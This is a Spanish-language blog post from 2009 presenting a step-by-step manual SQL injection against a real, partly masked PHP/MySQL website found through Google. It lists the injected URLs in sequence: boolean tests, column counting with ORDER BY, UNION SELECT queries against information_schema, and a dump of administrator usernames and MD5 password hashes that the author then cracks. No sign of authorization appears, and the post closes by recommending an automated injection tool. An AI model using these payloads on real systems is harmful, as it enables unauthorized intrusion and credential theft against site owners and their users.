sábado, 5 de septiembre de 2009

SQL injection, caso práctico a un servidor MySQL >= 5

SQL injection, caso práctico a un servidor MySQL >= 5

Digo para servidores MySQL versiones mayor o igual que 5, es porque apartir de dicha version se le incluye una base de dato (information_schema) donde está la esquema de todas las informaciones del DB. Sabiendo y conociendo la estructura de este base de datos, y teniendo permiso de acceso a él [por defecto es accesible] podemos sacar muchas informaciones.

[Vamos a trabajar a mano y después aseguramos que esté bien con una herramienta!]

Para empezar hay buscar una web vulnerable, y no hay nada mejor que google para ayudar con esta búsqueda.

http://www.page*.com/news.php?nid=3
A simple vista por la extención .php parece que el servidor de base de datos es MySQL [pero no es seguro, porque tambien puede haber PHP conectado a una DB de Access, pero que no es lo normal].


Aseguramos que sea vulnerable con el típico de 1=1 y 1=0
http://www.page*.com/news.php?nid=3 AND 1=1
*página_1
Nos tiene que salir la página de la misma condición que ante de inyectar, ya que la condición coincide.

*página_2
http://www.page*.com/news.php?nid=3 AND 1=0
Nos saldrá una página parecido a la de correcta pero sin datos del DB, ya que la condición no coincide.


Y continuamos en obtener más informaciones acerca del servidor.

http://www.page*.com/news.php?nid=3'
Y nos sale un error de este tipo:
Fatal error: Call to a member function fetch_assoc() on a non-object in E:\wwwroot\phpser\wwwroot\news.php on line 40

Aquí obtenemos la ruta del servidor web y al parecer es servidor web ejecutado en un MS windows.


http://www.page*.com/news.php?nid=3 AND (@@version)>=5
Con esto afirmamos que es una version > 5.
No buscamos la versión concreta de MySQL, porque lo que nos interesa es el DB information_schema nada más, por ahora.


http://www.page*.com/news.php?nid=3 order by 10 --
Con este intentamos obtener el número de columas que tiene la tabla actual en la que está conectado. En caso de que haya puesto más de la cantidad de columna existente saldrá *pagina_2, en caso contrario *pagina_1.

http://www.page*.com/news.php?nid=3 order by 6 --
Así, jungando con los números, conseguimos saber que la tabla actual tiene 6 columnas.

Las 2 guiones al final indica el comentario, comentar todos los que vienen detrás, por si acaso la sentencia esté sin terminar y pueda causar error.


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, 1111, NULL, NULL, NULL FROM information_schema.tables
puse: 1=0 para que aparezca la *página_2, osea sin datos
1111: con esto averiguo el lugar del web donde saldrá los resultados, es de referencia nada más.
NULL's : son rellenos, porque si no el servidor cantaría un error por no coindicir las cantidades de columnas.


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(table_name), NULL, NULL, NULL FROM information_schema.tables where table_schema=database()
group_concat(table_name): para que todos los registros de esa columnas salga juntado.
Otra manera es poniendo directamente table_name y jungando con LIMIT, pero es más trabajo.

EL resultado: just, mart, news, puser, restore, top.

De testing



http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(column_name), NULL, NULL, NULL FROM information_schema.columns where table_name=0x6a757374
0x6a757374: la tabla "just" en hexadecimal

Y así con las restos de las tablas. Y obtendríamos:

just: jid,jname,jtime,mid
mart: mid,mname,mtime
news: nid,ntitle,ncontent,ntime,ntj,mid
puser: pid,pname,ppass,ptime
restore: rid,rname,rcontent,riddress,rroot,tid
top: tid,title,tcontent,tname,tfrom,times,tj,tjj,tt,tnum,jid


[JEJE, si nos fijamos bien en la tabla "puser", tiene toda una pinta de que allí se guardan los user y pass, XD]


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(pname, 0x7c7c,ppass), NULL , NULL, NULL FROM puser where pname like 0x2525
0x7c7c: "||" en hexadecimal, lo pongo para separar user y pass, porque sino aparecería juntado, muy lioso al leer.
0x2525: "%%" en hexadecimal, cualquier alfanumérico y cantidad de él.
De testing



tanto top888 como admin tiene misma contraseña: e10adc3949ba59abbe56e057f20f883e
a simple vista, es una contraseña encriptado, probé con el md5 [uno de los más comunes] y tachaan!!
MD5(123456) = e10adc3949ba59abbe56e057f20f883e

Done!! ya tememos admin con su password, pero temenos un problema... no sé por dónde ir para logearme... [Qué lastima, :D]

Bueno de toda manera esta página todavía está en construcción, todavía no tiene puesto el foro, y le falta bastante cosa, por lo que veo... Ya vendré cuando esté lista... ¬_¬




Todo los anteriores lo podría haberlo hecho tomando un café y dandole "clik's" a Mini MySqlt0r [creo que sólo funciona con MySQL v5], en cuestion de minutos te lo saca.


Y NO, todos los que he hecho manualmente no ha sido ninguna pérdida de tiempo, estoy super contento por saber y poder haberlo hecho manualmente, XD.


Saludos, Good Luck!

2 comentarios:

BrainSCAN dijo...

Fantástica explicación.

Comentas que podrías haberlo hecho con el "Mini MySqlt0r". ¿Qué aplicación es esa y dónde está? En Google no aparece.

Muchas gracias.

Sui dijo...

I'm sorry, XD. Me equivoqué al teclear es:
Mini MySqlat0r (con 'a')
su página oficial es esta:
http://www.scrt.ch/pages_en/minimysqlator.html

Saludos.

Publicar un comentario

 
Powered by Blogger